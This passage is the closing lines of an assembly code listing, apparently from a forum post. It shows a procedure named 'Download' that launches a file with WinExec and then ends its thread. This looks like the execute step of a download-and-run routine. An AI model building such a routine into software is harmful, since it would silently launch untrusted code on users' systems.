invoke WinExec,offset szFile,SW_SHOW
invoke ExitThread,0
Download endp
end start
[/code]